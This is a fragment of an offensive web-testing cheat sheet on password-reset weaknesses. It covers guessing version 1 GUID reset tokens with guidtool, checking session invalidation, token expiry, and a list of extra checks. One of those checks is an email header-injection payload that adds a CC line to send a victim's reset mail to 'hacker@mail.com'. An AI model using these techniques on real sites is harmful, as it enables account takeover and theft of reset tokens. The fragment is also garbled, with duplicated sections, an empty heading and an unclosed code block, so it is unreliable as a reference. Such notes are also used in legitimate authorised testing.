## Impact
### Impact
It allows the person who has control of particular site to change the user’s password \(CSRF attack\), because this person knows reset password token of the user.

# Response manipulation: Replace Bad Response With Good One
## Guessable GUID
There are different types of GUIDs:
* **Version 0:** Only seen in the nil GUID ("00000000-0000-0000-0000-000000000000").
* **Version 1:** The GUID is generated in a predictable manner based on:
* The current time
* A randomly generated "clock sequence" which remains constant between GUIDs during the uptime of the generating system
* A "node ID", which is generated based on the system's MAC address if it is available
* **Version 3:** The GUID is generated using an MD5 hash of a provided name and namespace.
* **Version 4:** The GUID is randomly generated.
* **Version 5:** The GUID is generated using a SHA1 hash of a provided name and namespace.
It's possible to take a look to a GUID and find out its version, there is a small tool for that: [**guidtool**](https://github.com/intruder-io/guidtool)****
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
If the used version to generate a reset password GUID is the version 1, it's possible to bruteforce GUIDS:
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000

# Session I**nvalidation** in Logout/Password Reset
## Session I**nvalidation** in Logout/Password Reset
When a user **logs out or reset his password**, the current session should be invalidated.
Therefore, **grab the cookies** while the user is logged in, **log out**, and **check** if the **cookies** are still **valid**.
When a user **logs out or reset his password**, the current session should be invalidated.\
Therefore, **grab the cookies** while the user is logged in, **log out**, and **check** if the **cookies** are still **valid**.\
Repeat the process **changing the password** instead of logging out.
# Reset Token expiration Time
## Reset Token expiration Time
The **reset tokens must have an expiration time**, after it the token shouldn't be valid to change the password of a user.
# Extra Checks
## Extra Checks
* Use username@burp\_collab.net and analyze the callback
* User carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
* Long password \(&gt;200\) leads to DoS
* Long password (>200) leads to DoS
